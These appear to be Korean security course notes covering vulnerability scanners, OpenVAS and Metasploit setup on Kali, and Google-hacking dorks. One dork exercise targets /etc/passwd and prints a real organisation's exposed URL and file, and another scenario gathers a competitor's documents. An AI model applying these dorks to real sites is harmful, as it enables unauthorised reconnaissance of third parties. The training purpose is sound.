다양한 스캔 및 리포트 탬플릿 가운데 선택을 해서 검사를 할 수 있다. 또 IP 범위를 지정해 스캔을 하거나, 스마트 선택 기능을 사용할 수도 있다. 또 스캔 자산에 필요한 크레덴셜(Credential)을 제공할 수 있다. 이메일과 경고 등 보고 방법 등을 선택하기 위해서다.
레티나 CS 커뮤니티는 상용 제품과 서비스를 공급하는 벤더가 공급하는 훌륭한 무료 제품이다. 최대 256개 IP와 다양한 자산을 대상으로 스캔과 패칭을 할 수 있다. 그러나 일부 소규모 사업에게는 시스템 요건이 부담이 될지도 모르겠다. 윈도우 서버가 필요하기 때문이다.
■ MBSA(Microsoft Baseline Security Analyzer)
MBSA(Microsoft Baseline Security Analyzer)는 윈도우 데스크톱과 서버에서 로컬 및 리모트 스캔을 하면서 누락된 서비스 팩, 보안 패치, 흔한 보안 설정 실수 등을 조사한다. 2.3 릴리스부터는 윈도우 8.1, 윈도우 8, 윈도우 서버 2012 R2, 윈도우 서버 2012도 지원한다.
MBSA는 상대적으로 사용하기 쉬운 툴이다. 먼저 리스트에서 컴퓨터 이름을 선택하거나 IP 주소를 지정해 한 대의 윈도우 머신을 선택해 스캔할 수 있다. 여러 머신을 스캔할 경우, 전체 도메인을 선택하거나, IP 주소 범위를 지정하면 된다. 이후 윈도우, IIS, SQL 관리 취약점, 취약한 비밀번호, 윈도우 업데이트 등 스캔 대상을 선택할 수 있다.
스캔이 끝나면, 스캔한 윈도우 머신 별로 전반적인 보안 등급, 세부적인 검사 결과 등이 수록된 보고서를 확인할 수 있다. 각 항목을 클릭하면, 취약점이 발견되었을 경우 스캔 대상에 대한 정보와 취약점 해결 방법을 자세히 알 수 있다. 또 향후 참조를 할 수 있도록 자동으로 보고서가 저장된다. 클립보드로 복사를 하거나, 인쇄할 수도 있다.
MBSA는 사용하기 쉬운 무료 툴이지만, 고급 윈도우 설정, 드라이버, 마이크로소프트 이외의 소프트웨어, 네트워크에 특정적인 취약점 스캔 기능은 뛰어나지 않다는 점에 유념할 필요가 있다. 그렇지만 일반적인 보안 위험을 찾아 경감할 때 아주 유용한 툴이다.
■ 넥스포즈 커뮤니티 에디션(Nexpose Community Edition)
넥스포즈 커뮤니티 에디션은 네트워크, 운영 시스템, 웹 애플리케이션, 데이터베이스, 가상 환경을 스캔할 수 있는 툴이다. 그러나 커뮤니티 에디션에는 한 번에 32개 IP까지만 스캔을 할 수 있다는 제약이 있다. 그리고 1년 후에는 새 라이선스를 신청해야 한다. 상용 에디션이지만 7일간 시험적으로 무료 사용할 수 있는 트라이얼 버전도 있다.
넥스포즈는 윈도우, 리눅스, 가상 머신에 설치할 수 있으며, 웹 기반 GUI를 제공한다. 웹 포털에 사이트를 만들어, 스캔하고 싶은 IP나 URL을 지정하고, 스캔 방법과 일정을 정하고, 스캔 자산에 필요한 크리덴셜을 제공할 수 있다.
사이트 스캔을 마치면 자산과 취약점 리스트를 확인할 수 있다. 여기에는 OS와 소프트웨어에 관한 정보, 취약점과 해결 방법 등에 대한 자세한 정보가 나와있다. 원하는 컴플라이언스 기준을 규정해 추적 관리할 수 있는 기능도 제공한다. 다양한 각도의 보고서를 생성해 내보내기 할 수도 있다.
넥스포즈 커뮤니티 에디션은 쉽게 설정해 사용할 수 있으며, 완전한 기능을 갖춘 취약점 스캐너다. 그러나 네트워크 환경이 클 경우 32개라는 IP 수의 제약이 실용적이지 못할 수 있다.
■ 시큐어체크(SecureCheq)
시큐어체크는 윈도우 데스크톱과 서버를 로컬 스캔해 CIS, ISO, COBIT 기준에 입각한 고급 윈도우 설정에 취약점이 있는지를 조사하는 툴이다. OS 강화, 데이터 보호, 커뮤니케이션 보안, 사용자 계정 활동, 감사 로깅 등 일반적인 설정 관련 실수 검색에 초점이 맞춰져 있다. 그러나 무료 버전은 20여 설정으로 스캔이 제한된다. 풀 버전이 지원하는 설정 수의 1/4에 불과하다.
시큐어체크 사용은 간단하다. PC를 스캔하고 나면, 설정 리스트 및 '패스(Passed)'나 '페일(Failed)' 결과를 확인할 수 있다.
설정을 클릭하면 취약점, 취약점에 대한 정보, 취약점 해결 방법에 대한 참조 정보가 있는 링크를 볼 수 있다. 애플리케이션 자체에서는 검사 결과를 저장할 수 없지만 인쇄하거나, OVAL XML 파일로 저장할 수 있다.
시큐어체크는 사용하기 쉽고, 고급 설정을 스캔할 수 있는 툴이다. 그러나 일부 공통 윈도우 취약점과 네트워크 기반 위협을 감지하지 못한다. 하지만 MBSA를 보완하는 툴로 사용하면 유용하다. MBSA로 기본 위협을 스캔한 이후, 시큐어체크로 고급 취약점을 스캔하는 것이다.
■ 퀄리스 프리스캔(QualysFreeScan)
퀄리스 프리스캔은 인터넷이나 로컬 서버 또는 머신에 연동된 URL이나 IP를 최대 10개까지 무료 스캔할 수 있는 툴이다. 처음에는 퀄리스 웹 포털에 접속해야 한다. 이후 내부 네트워크를 대상으로 스캔하기 위해서는 가상 머신 소프트웨어를 다운로드 받으면 된다.
퀄리스 프리스캔은 몇 가지 스캔 형식을 지원한다. 숨은 맬웨어, SSL 문제, 기타 네트워크 관련 취약점 검사 등이다. OWASP는 웹 애플리케이션의 취약점을 감사하는 기능이다. 패치 투스데이(Patch Tuesday)는 누락된 소프트웨어 패치를 스캔해 설치할 수 있도록 도움을 준다. SCAP는 컴퓨터 설정이 NIST(National Institute of Standards and Technologies)의 SCAP(Security Content Automation Protocol)에 부합하는지 점검한다.
처음에는 인터넷을 매개체로 한 온라인 스캔 툴로 보일 수 있다. 그러나 로컬 IP를 입력해 스캔하면, VM웨어나 버츄얼박스(VirtualBox) 이미지를 통해 가상 스캐너를 다운로드 받을 수 있다. 이를 이용하면 로컬 네트워크를 스캔할 수 있다. 스캔이 끝나면, 위협이나 패치 별 인터랙티브 보고서를 확인할 수 있다.
퀄리스 프리스캔은 10차례까지만 무료 스캔을 할 수 있다. 정기적으로 사용할 수 있는 툴은 아니라는 이야기다. 매일 사용을 위해서라기보다는 재확인을 위해 가끔 실행시키기에 적당하다.
참고 사이트(위의 내용은 다음 아래 사이트의 내용을 정리하였습니다. 원본 문서를 보시길)
● http://www.ciokorea.com/news/20809?page=0,2
[실습] Nessus을 통한 시스템 취약점 분석하기
● http://www.tenable.com/products/nessus-vulnerability-scanner
● Nessus 6.3 command line reference manual
● (참고) plugin을 받는데 많은 시간이 걸립니다.
[실습] Nexpos을 통한 시스템 취약점 분석하기
● http://www.rapid7.com/ko/products/nexpose/editions-and-features.jsp
[실습] OpenVAS을 통한 시스템 취약점 분석하기
● http://www.openvas.org/
● 다음 과정에 대한 취약점 분석 보고서를 작성한다.(2시간)KaliLinux(OpenVAS) --- 취약점 스캔 ---> Metasploitable V2 Linux Server
● (참고) plugin을 받는데 많은 시간이 걸립니다.
-------------------------------------------------------------------------------------------------------
OpenVAS on KaliLinux 1.0.6
Configuring OpenVAS in Kali Linux 1.06
- https://sathisharthars.wordpress.com/2014/04/14/configuring-openvas-in-kali-linux-1-06/
■ OpenVAS 아키텍쳐(Architecture Overview)
The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools. The core of this SSL-secured service-oriented architecture is the OpenVAS Scanner. The scanner very efficiently executes the actual Network Vulnerability Tests (NVTs) which are served with daily updates Openvas NVT Feed or via a commercial feed service.
The OpenVAS Manager is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. The Manager controls the Scanner via OTP (OpenVAS Transfer Protocol) and itself offers the XML-based, stateless OpenVAS Management Protocol (OMP). All intelligence is implemented in the Manager so that it is possible to implement various lean clients that will behave consistently e.g. with regard to filtering or sorting scan results. The Manager also controls a SQL database (sqlite-based) where all configuration and scan result data is centrally stored.
A couple of different OMP clients are available: The Greenbone Security Assistant (GSA) is a lean web service offering a user interface for web browsers. GSA uses XSL transformation stylesheet that converts OMP responses into HTML.
The Greenbone Security Desktop (GSD) is a Qt-based desktop client for OMP. It runs on various Linux, Windows and other operating systems.
OpenVAS CLI contains the command line tool “omp” which allows to create batch processes to drive OpenVAS Manager.
The OpenVAS Administrator acts as a command line tool or as a full service daemon offering the OpenVAS Administration Protocol (OAP). The most important tasks are the user management and feed management. GSA support OAP and users with the role “Admin” can access the OAP functionality.
Most of the tools listed above share functionality that is aggregated in the OpenVAS Libraries.
The OpenVAS Scanner offers the communication protocol OTP (OpenVAS Transfer Protocol) which allows to control the scan execution. This protocol is subject to be eventually replaced and thus it is not recommended to develop OTP clients. Traditionally, the desktop- and cli-tool OpenVAS Client acts as a direct OTP client.
■ OpenVAS 플러긴 다운로드(Download the Plugins for OpenVAS)
Applications > Kali Linux > Vulnerability Analysis > OpenVAS > Initial Setup
-> OpenVAS will now download all the plugins required (a few minutes)
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created
[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] The 'OpenVAS NVT Feed' is provided by 'The OpenVAS Project'.
[i] Online information about this feed: 'http://www.openvas.org/openvas-nvt-feed.html'.
[i] NVT dir: /var/lib/openvas/plugins
[i] rsync is not recommended for the initial sync. Falling back on http.
[i] Will use wget
[i] Using GNU wget: /usr/bin/wget
[i] Configured NVT http feed: http://www.openvas.org/openvas-nvt-feed-current.tar.bz2
[i] Downloading to: /tmp/openvas-nvt-sync.UvwUvHLS1w/openvas-feed-2015-04-21-8900.tar.bz2
--2015-04-21 12:13:51-- http://www.openvas.org/openvas-nvt-feed-current.tar.bz2
Resolving www.openvas.org (www.openvas.org)... failed: 이름 혹은 서비스를 알 수 없습니다.
wget: unable to resolve host address `www.openvas.org'
[i] Checking dir: ok
[i] Checking MD5 checksum: /usr/bin/md5sum: /var/lib/openvas/plugins/md5sums: 그런 파일이나 디렉터리가 없습니다
not ok
Error: md5sums not correct. Your NVT collection might be broken now.
Please try this for details: cd "/var/lib/openvas/plugins" ; /usr/bin/md5sum -c "/var/lib/openvas/plugins/md5sums" | less
Generating RSA private key, 1024 bit long modulus
.................................................++++++
.......................++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, your name or your server's hostname) []:Email Address []:Using configuration from /tmp/openvas-mkcert-client.8917/stdC.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE:'DE'
localityName :PRINTABLE:'Berlin'
commonName :PRINTABLE:'om'
Certificate is to be certified until Apr 20 03:13:52 2016 GMT (365 days)
Write out database with 1 new entries
Data Base Updated
User om added to OpenVAS.
Stopping OpenVAS Manager: openvasmd.
Stopping OpenVAS Scanner: openvassd.
All plugins loaded
md main:WARNING:8951:2015-04-21 12h13.52 KST: sql_x: sqlite3_prepare failed: no such table: main.meta
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.
Restarting OpenVAS Administrator: openvasad.
Restarting Greenbone Security Assistant: gsad.
Enter password: (soldesk1.)
ad main:MESSAGE:9017:2015-04-21 12h15.35 KST: No rules file provided, the new user will have no restrictions.
ad main:MESSAGE:9017:2015-04-21 12h15.35 KST: User admin has been successfully created.
■ 웹으로 로그인 1
The default user id is admin. then enter a your password as per your wish.
Open your Iceweasel browser in your Local Host Port 9392
https://127.0.0.1:9392
or
https://localhost:9392
■ OpenVAS 로그인 박스(OpenVAS Login Box)
ID/PASS : admin/soldesk1.
openvas4 greenbone login screen Default username = admin
Password (whatever you entered during setup)
[참고] 사용자 관리용 명령어
(KaliLinux) 변경 필요(다시 작성해야 한다.)
■ 새로운 관리자를 추가하는 방법
# openvasad -c add_user -u your_new_login_here -r Admin
■ admin 사용자의 암호를 변경하는거나 새로 주는 방법
# openvasmd --user=admin --new-password=new_password
■ 새로운 사용자를 추가하는 방법
# openvasmd --create-user NEWUSER
■ 추가된 사용자를 삭제하는 방법
# openvasmd --delete-user=NEWUSER
■ OpenVAS Security Assistant screen (Hermione Granger wizard appears)
■ 취약점 데이터 업데이트(Update your Vulnerability Database Feeds)
Administration > NVT Feed > Synchronise with Feed Now
Nvt feedThis step is critical. if you do not update the vulnerability database feeds, it will generate errors later on.
-> 오랜시간이 걸린다.(약 X 분)
시작 시간: Started Tue Apr 21 12:20:02 2015 by admin
종료 시간:
Like wise update all below field in admin panel
Administration > NVT Feed
Administration > SCAP Database Feed (these are xml files for the reports)
Administration > Cert Feed
■ 사용자 추가(Add Users) - Optional
Administration > Users
Add Users
Login name : soldesk
Password : soldesk1.
Role : Admin
[ V ] Allow All
Host Access :
오른쪽 하단의 "Create Users" 선택
■ 스캔 타겟 설정(Set Targets to Scan)
Configuration > Targets
Localhost will be there by default.
Add your router as a target eg 192.168.31.1
Look for the Blue box with a White star click the star
White star = New Target
■ New target Enter IP of Router, and port options (eg all TCP)
Name : linux200
Hosts: [ V ] Manual : 192.168.20.200
Commemnt : 적당한 내용
Create Target Button
■ Create a Task
Scan Management > New Task
■ Create Task Button
Scan Config = Full and Fast
■ Scan the newly added target and detail of scan report in the left side
■ List of Vulnerability found in the target system
-------------------------------------------------------------------------------------------------------
C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\03_구글링.hwp
구글링(Googling), 구글해킹(Google Hacking), 구글핵(Google Hack)
■ 정보 수집 과정의 종류
□ 검색 엔진을 사용하는 경우(EX: 구글링) □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com) □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
□ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
□ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
□ 스캐너를 사용하는 방법 □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap) □ 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)
■ 구글링(Googling)
인터넷 구글(Google) 사이트에서 정보를 검색하는 작업을 말한다. (dic.naver.com)
■ 구글 해킹(Google Hacking)
웹 사이트가 사용하는 구성과 컴퓨터 코드에 보안 구멍을 찾기 위해 Google 검색 및 기타 Google 응용 프로그램을 사용하는 컴퓨터 해킹 기술이다. 공격자는 개인정보 등 손쉽게 취약점을 찾을 수 있다. 구글해킹의 구글봇이 수집하는 데이터를 서버에 캐시상태로 저장하기 때문에, 해당 사이트가 삭제되거나 한 후에도 오랜 시간이 지나기 전엔 검색결과에 노출되기 때문에 이전 페이지가 그대로 노출 될 수 있으며, 이 데이터를 모으면 손쉽게 취약점을 찾을 수 있다.
(https://ko.wikipedia.org/wiki/구글_해킹)
■ GHDB(Google Hack DB)
구글 검색을 통한 특정 자료나 치명적인 자료를 찾거나 구하는 방법, 해킹 취약점을 찾는 방법등에 관해 데이터베이스화 시켜 놓은 서비스이다.
http://www.exploit-db.com/google-dorks
■ GHDB 카테고리(Category)
항목
설명
Footholds (31)
Examples of queries that can help a hacker gain a foothold into a web server
해커들이 웹서버에 접근 가능하게 연계
Files containing usernames (17)
These files contain usernames, but no passwords... Still, google finding usernames on a web site..
웹사이트에서 패스워드 설정이 안돼 있는 파일 검색
Sensitive Directories (74)
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!
공유된 민감한 디렉토리들을 웹페이지에서 수집
Web Server Detection (72)
These links demonstrate Google's awesome ability to profile web servers..
웹 서버를 감지
Vulnerable Files (61)
HUNDREDS of vulnerable files that Google can find on websites...
수백만 개의 웹사이트 취약점을 검색
Vulnerable Servers (77)
These searches reveal servers with specific vulnerabilities. These are found in a different way than the searches found in the "Vulnerable Files" section.
특정 취약점이 있는 서버를 찾음. 또 따른 검색 방법은 '취약한 파일' 절에서 검색
Error Messages (77)
Really retarded error messages that say WAY too much!
다양한 에러 메세지 검출
Files containing juicy info (77)
No usernames or passwords, but interesting stuff none the less.
사용자 이름이나 패스워드를 몰라도 해킹이 가능
Files containing passwords (305)
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!
구글에서 암호화된 파일을 검색
Sensitive Online Shopping Info (9)
Examples of queries that can reveal online shopping info like customer data, suppliers, orders, creditcard numbers, credit card info, etc
온라인 쇼핑시 사용되는 고객정보, 주문내역, 카드번호 등 민감한 정보들을 수집
Network or vulnerability data (63)
These pages contain such things as firewall logs, honeypot logs, network information, IDS logs... all sorts of fun stuff!
이 페이지는 방화벽 로고, 허니팟 로그등 네트워크 정보와 취약한 데이터를 포함
Pages containing login portals (284)
These are login pages for various services. Consider them the front door of a website's more sensitive functions.
로그인 페이지를 포함하고 있는 포털 사이트를 통해 해킹이 가능
Various Online Devices (242)
This category contains things like printers, video cameras, and all sorts of cool things found on the web with Google.
웹 페이지에서 프린터, 비디오 카메라 등 온라인 장치에 대한 정보를 수집
Advisories and Vulnerabilities (1971)
These searches locate vulnerable servers. These searches are often generated from various security advisory posts, and in many cases are product or version-specific.
취약한 서버를 찾는다. 여러가지 보안권고 게시물을 검색
[실습] GHDB의 다양한 점보를 검색하고 검색 패턴에 대한 정리를 한다.
- 다음 문서에 대한 내용을 참고한다.
- 구글검색을이용한해킹방어[심정재]
● 기본적인 검색 키워드- site:co.kr- inurl:admin- filetype:asp- intext:passwd- intitle:"MS SQL"
[실습] 구글독 사이트에서 선택한 항목과 구글 웹사이트에서 직접 입력한것만 출력결과를 비교
- http://www.exploit-db.com/google-dorks
[실습] "구글 웹마스터 도구 > 콘텐츠 삭제 서비스" 신청 서비스 사용
- https://www.google.com/webmasters/tools/removals?hl=ko
- (시나리오) 자신의 정보를 검색하고 삭제 서비스를 사용하여 신청한다.
- (주의) 웹페이지안의 내용을 잘 읽어야 한다.
(가상 시나리오 1)
우리 회사와 경쟁 하는 회사의 정보를 획득 해 보자.
● site:example.com filetype:hwp 정부에 제한했던 제안서 파일들
● site:example.com filetype:pdf 발표용 자료들
● site:example.com filetype:ppt 발표용 자료들
● site:example.com filetype:xls 관리용 자료들
파일의 종류를 정리 해 보자.
[참고] 파일의 확장자 종류(http://www.terms.co.kr/filename-extensions.htm)
파일의 확장자
설명
비고
hwp
아래아한글 파일
pdf
어도비 애크로뱃 문서 형식 (Portable Document Format)
xls
마이크로소프트 엑셀 파일
ppt
마이크로소프트 파워포인트 파일
(가상 시나리오 2)
어떤 사이트에서 자신의 주민등록 번호를 사용하고 있는지 확인
site:example.com intext:581010-XXXXXXX
[실습] 가상적인 시나리오를 만들고 다양한 테스트를 해 본다.
(주의) 반드시 검색 과정을 정리하면서 과정을 진행한다.
(예제1) 취약한 파일 검색
passwd
passwd.txt
shodow
shodow.txt
admin.txt
etc
(예제2)
www.exploit-db.com/google-dorks
-> 하단의 'category' 부분에서 'Files containing passwords' 선택하고
search 부분에는 'admin' 입력한다.
(예제3)
www.exploit-db.com/google-dorks
-> 하단의 "Google Hacking Database Categories" 부분에서 "Files containing usernames" 선택하고
-> 아래 부분을 선택한다.
DATE Title Summary
========== ========================================== =================================================
2013-04-22 intext:"root:x:0:0:root:/root:/bin/bash"... Author: ./tic0 | Izzudin al-Qassam Cyber Fighter ...
-> 아래 부분을 선택한다.
Google search: intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd
-> 아래 부분을 선택한다.(페이지 하단 부분에 존재한다.)
passwd.OLD - Commonwealth Human Rights Initiative
www.humanrightsinitiative.org/.../passwd.OLD 이 페이지 번역하기
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ...
-> 아래와 같은 URL 부분에 취약점이 존재하는 페이지가 보인다.
http://www.humanrightsinitiative.org/lgbti-interactive-map/sym/root/home/chri/public_html/sym/root/etc/passwd.OLD
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
cpanel:x:32001:32001::/var/cpanel/userhomes/cpanel:/usr/local/cpanel/bin/noshell
cpanelhorde:x:32002:32002::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshell
cpanelphpmyadmin:x:32003:32003::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/bin/noshell
cpanelphppgadmin:x:32004:32004::/var/cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/bin/noshell
cpanelroundcube:x:32005:32005::/var/cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin/noshell
mailman:x:32006:32006::/usr/local/cpanel/3rdparty/mailman/mailman:/usr/local/cpanel/bin/noshell
mysql:x:498:499:MySQL server:/var/lib/mysql:/bin/bash
mailnull:x:47:47:Exim:/var/spool/mqueue:/bin/false
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
cpaneleximfilter:x:32007:32009::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell
cpanellogin:x:32008:32010::/var/cpanel/userhomes/cpanellogin:/usr/local/cpanel/bin/noshell
cpanellogaholic:x:32009:32011::/var/cpanel/userhomes/cpanellogaholic:/usr/local/cpanel/bin/noshell
chri:x:500:500::/home/chri:/bin/false
clamav:x:502:502::/usr/local/clamav:/sbin/nologin
nipsa:x:504:504::/home/nipsa:/usr/local/cpanel/bin/noshell
sartian:x:505:505::/home/sartian:/usr/local/cpanel/bin/noshell
cpaneleximscanner:x:503:503::/var/cpanel/userhomes/cpaneleximscanner:/usr/local/cpanel/bin/noshell
cpanelphpgadmin:x:506:506::/var/cpanel/userhomes/cpanelphpgadmin:/usr/local/cpanel/bin/noshell
dovenull:x:497:498:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
cpses:x:496:497::/var/cpanel/cpses:/sbin/nologin
C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\04_Metaspolit_Kali2.0_2016_0408.hwp
메타스플로잇(Metasploit)
■ 메타스플로잇(Metasploit, Meta Exploit Framework) 개요
메타스플로잇은 HD 무어(H.D Moore)가 보안 회사에 근무하는 동안에 계획하고 개발했다. 공개된 공격 코드의 불필요한 부분을 정리하고 검증하는데 많은 시간이 소비 되기 때문에 익스플로잇(Exploit)의 제작과 개발을 좀 더 유연하고 유지 보수가 가능하도록 만들기 위해 프레임워크를 개발했다.
2003년 11월, 처음 공개된 펄(perl) 기반의 메타스플로잇은 총 11개의 익스플로잇을 제공했다. 스폼(Spoonm)의 도움으로 프로젝트를 모두 재작성한 후 2004년 4월에 메타스플로잇 2.0을 공개했다. 19개의 익스플로잇과 27개가 넘는 페이로드가 포함된 2.0 버전이 발표된 후 매튜 밀러(Skape)가 메타스플로잇 개발 팀에 합류했고 인기를 얻기 시작했다. 메타스플로잇 프레임워크는 정보보호 커뮤니티에서 큰 지지를 받았고, 곧 모의 해킹을 위한 필수 도구로 부상했다.
메타스플로잇 팀은 프레임워크를 루비 언어(Ruby)로 완전히 재작성한 후 2007년에 메타스플로잇 3.0을 공개했다. 프레임워크를 펄에서 루비로 재작성하는 데는 총 18개월이 소요되었으며, 15만 줄이 넘는 새로운 코드가 추가되었다. 3.0 버전 발표와 함께 메타스플로잇은 보안 커뮤니티에 널리 채택되었고 사용자의 기부가 많이 증가했다. 지금까지 루비로 작성된 가장 복잡한 프로젝트 중 하나이다.
2009년 가을, 메타스플로잇은 취약점 스캐닝 분야의 선두인 래피드7(raid7)에 인수되었고, HD 무어에게는 메타스플로잇 프레임워크 개발에만 초점을 둔 팀을 만들수 있도록 하였다.
■ 메타스플로잇 프레임워크(Metasploit Framework)의 특징
● 취약점 진단 통합 프레임워크
● MSF(Metasploit Framework)는 오픈 소스 도구로- 공격 코드(exploit)- 페이로드(payload)- 인코더(encoder)- 정찰 도구- 보안 테스팅등을 제공하는 일종의 체계이다.
● (초기버전) 단순한 공격 코드의 집합(현재버전) 광범위한 영역의 정보 탐색, 공격, 사전 침투에 관련된 보안 툴의 설계와 개발 능력 제공
● MSF(Meta Exploit Framework)는 새로운 공격 코드, 페이로드, 정보 탐색 도구들을 개발 할 수 있는 환경을 제공하는 최초이자 최고의 기반 프로그램이다.
● MSF는 새로운 보안 테스팅 기술의 개발과 보안 리서치를 가능하게 하는 도구, 관련 유틸리티들을 직접 설계할 수 있는 기반을 제공한다.
● 유닉스(UNIX), 리눅스(LINUX), 윈도우(WINDOWS), 맥(MAC) 환경을 지원한다.
● 메타 익스플로잇은- (유료) 프로(MSF pro) 버전과- (무료) 커뮤니티(MSF community) 버전을 제공하고 있다.
● 칼리리눅스에서는 커뮤니티 버전이 포함되어 있다.
2. 칼리리눅스에서 커뮤티니 웹서비스 접근하기
[참고] DB 종류들에 대해서
Database(DB) : Oracle Oracle11gR2, IBM DB2, MS MS-SQL,
Infomix, Sybase, MySQL, PostgreSQL,
[참고] 서비스 start/stop 방법에 대해서
(RedHat 계열) (현재)# service sshd restart
(부팅)# chkconfig sshd on
(Debian 계열) (현재)# service ssh restart
(부팅)# update-rc.d ssh enable
[참고] postgresql & metasploit 서비스 부팅시에 동작하도록 설정하기
# update-rc.d postgresql enable
# update-rc.d metasploit enable
[참고] KaliLinux 2.0 버전에서 MSF 체계와 DB 초기화 작업
# msfdb init
# service postgresql start
# msfconsole
msf> db_status
[참고] msfconsole 사용하는 방법 비교
(KaliLinux 1.X)
# service postgresql start (# service metaspolit restart)
# msfconsole
(KaliLinux 2.X)
# msfdb init /* 초기에 한번만 작업하면 된다. */
# service postgresql start
# msfconsole
(KaliLinux)
# msfdb
Manage a metasploit framework database
msfdb init # initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
msfdb start # start the database
msfdb stop # stop the database
# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
# cat /usr/share/metasploit-framework/config/database.yml
development:
adapter: postgresql
database: msf
username: msf
password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
host: localhost
port: 5432
pool: 5
timeout: 5
production:
adapter: postgresql
database: msf
username: msf
password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
host: localhost
port: 5432
pool: 5
timeout: 5
test:
adapter: postgresql
database: msf_test
username: msf
password: Yb/xisj5lfc22lmvFXawKj70B5RaY3/ubSZN5HbB2Qk=
host: localhost
port: 5432
pool: 5
timeout: 5
# service postgresql start
# service postgresql status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled)
Active: active (exited) since 일 2016-01-03 14:41:41 KST; 1min 19s ago
Process: 1733 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1733 (code=exited, status=0/SUCCESS)
[참고] PostgreSQL 동작중인지 확인하는 방법
(ㄱ) service 명령어를 통해 확인하는 방법
# service postgresql status
(ㄴ) PostgreSQL 리스너 포트를 확인하는 방법
# netstat -an | grep :5432
(ㄷ) MSF와 PostgreSQL이 연결 되었는지 확인하는 방법
# msfconsole
msf> db_status
# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.4-2015102101 ]
+ -- --=[ 1496 exploits - 862 auxiliary - 251 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > db_status
[*] postgresql connected to msf
msf >
# update-rc.d postgresql enable
#
-> 위의 명령어는 필요에 따라서 수행한다.(반드시 필요하지는 않는다.)
3. 메타스플로잇 구성 요소
http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture
[그림] MSF 아키텍쳐
(1) 라이브러리(Libraries) 종류
메타스플로잇은 프레임워크의 주요 기능을 구현하기 위해 다양한 라이브러리를 사용한다. 이런 라이브러리는 사전 작업, 정의된 업무, 공격 기술, 함수의 집합으로, 프레임워크의 많은 모듈에서 활용된다.
■ Rex(Ruby EXtension)
● The basic library for most tasks
● Handles sockets, protocols, text transformations, and others
● SSL, SMB, HTTP, XOR, Base64, Unicode
